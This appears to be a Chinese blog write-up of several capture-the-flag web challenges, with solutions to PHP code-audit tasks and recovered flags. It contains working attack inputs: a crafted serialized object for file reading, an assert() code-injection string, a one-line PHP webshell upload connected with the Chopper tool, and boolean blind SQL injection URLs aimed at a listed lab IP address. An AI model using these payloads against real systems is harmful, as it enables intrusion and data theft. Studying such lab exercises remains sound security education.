web-实验室

friend

1

代码审计题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php

//include("./class.php");

header("content-type:text/html;charset=utf-8");

error_reporting(0);

if(isset($_GET["file"])){ //isset检测变量是否设置

​ $file = $_GET["file"];

​ if(isset($_GET["password"])){

​ $password = $_GET["password"];

​ if(preg_match("/flag/",$file)){//preg_match正则表达式匹配在$file中查找flag

​ echo "不能现在就给你flag哦";

​ exit();

​ }else{

​ require_once($file);//[require_once](http://www.php.cn/wiki/141.html)语句和

require 语句完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含

​ highlight_file("$file");//highlight_file() 函数对文件进行语法高亮显示

​ $password = unserialize($password);

//unserialize() 提供过滤的特性,可以防止非法数据进行代码注入,提供了更安全的反序列化数据

​ echo $password;

​ }

​ }else{

​ echo "需要密码的!<br>";

​ }

}else{

​ highlight_file('./index.php');

}



if(preg_match("/flag/",$file)){

​ echo "不能现在就给你flag哦";

​ exit();

}else{

​ include($file);

​ $password = unserialize($password);

​ echo $password;

}

?>

因为是GET传参所以在地址栏进行代码审计,首先根据题意输入?file=class.php

2

在其后补充密码得到下面的代码,得到一个flag_good.php,function __tostring输出字符串

file_get_contents() 函数把整个文件读入一个字符串中

3

在地址栏上输入?file=class.php&password=O:4:”Flag”:1:{s:4:”file”;s:13:”flag_good.php”;}

4

得到good后,查看源代码得到flag zkctf{132e9a8fcba14cbbaaad09c76d15bd07}

5

where is flag

6

本题属于文件包含题,

7

得到的编码,使用base64解码,得到flag zkctf{wuhu_include_lueluelue}

代码审计

8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php

include("./flag.php");

show_source(__FILE__);

error_reporting(0);

$a=$_GET['a'];

if(stripos($a,'.'))stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)本题是查找“.”在$a中第一次出现的位置

{

​ echo 'Hahahahahaha';

​ die();

}

$data = @file_get_contents($a,'r');file_get_contents() 函数把整个文件读入一个字符串中

if($data=="1433223!!!"){

​ if (isset ($_GET['password']))

​ {ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的

​ if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE){

​ echo 'You password must be alphanumeric';

​ }else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999){strlen() 函数返回字符串的长度。

​ if (strpos ($_GET['password'], '-') !== FALSE)

​ {

​ die('Flag: ' . $flag);

​ }else{

​ echo('- have not been found');

​ }

​ }else{

​ echo 'Invalid password';

​ }

​ }

}else{

​ echo 'Unhappy!';

}

?>

对于data,a用PHP伪协议php://input即可,它过滤了’.’,估计是不能用文件包含的,所以我们要用php伪协议post一个Data, password只能是字符串和数字,字符串的长度要小于8,值要大于9999999,因此要使用科学计数法所以1e8,2e8等等,password中必须要有’-‘,这是就要使用%00截断 ,最后得到flag:zkctf{the_ Code_audit_is_so_fun}

9

wramup

10

打开题目地址得到一个haha….,

11

点击右键查看源代码,有一个index.phps

12

在地址栏后输入index.phps,得到PHP代码

13

assert — 检查一个断言是否为 FALSE assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。 assertion 是字符串的优势是当禁用断言时它的开销会更小,并且在断言失败时消息会包含 assertion 表达式。

a=highlight_file()用高亮显示flag.php,用//注释掉(==$b)

?b=Hello%20word!&a=highlight_file(%27flag.php%27);// 得到flagzkctf{assert_is_s0_co01}

14

**upload15

打开题目地址,得到下面一个网页

16

首先想要的到东西,就要使用菜刀来链接,先准备一个一句话木马的病毒

文件名设为1.php

打开菜刀,点击右键选择添加,输入以下内容,最后点击添加

17

连接成功后,在数据库中查找flag

18

最后的到flag zkctf{Find_Hide_oN_The_Upl0ad}

19

sql-2

20

打开题目地址,发现就只有一句话Try id!,查看源代码发现也是这句话

21

在地址栏输入?id=1’ –+ 得到下图的一段话,发现是盲注,只要是对的就会出现下面一段话,否则为空白页面

22

23

24

25

http://47.99.176.38:5010/web9/?id=1%27%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E80--+

26

http://47.99.176.38:5010/web9/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),2,1))%3E113--+

27

http://47.99.176.38:5010/web9/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),2,1))%3E113--+

28

http://47.99.176.38:5010/web9/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27user%27%20and%20table_name%20regexp%20%27^us[a-z]%27%20limit%200,1)--+

29

http://47.99.176.38:5010/web9/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27user%27%20and%20column_name%20regexp%20%27^user%27%20limit%200,1)--+

30


 本篇
web-实验室 web-实验室
friend 代码审计题 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565
2019-11-03
下一篇 
bugku-web-请输入密码 bugku-web-请输入密码
请输入密码 打开链接,页面显示输入五位数的密码,我们可以用Burpsuite pro来爆破 在文本框里随便输入5位数字,进行抓包 把抓到的包点击Action,选择send to Intruder打开 点击Positions,先清除b
2019-11-02 清风
  目录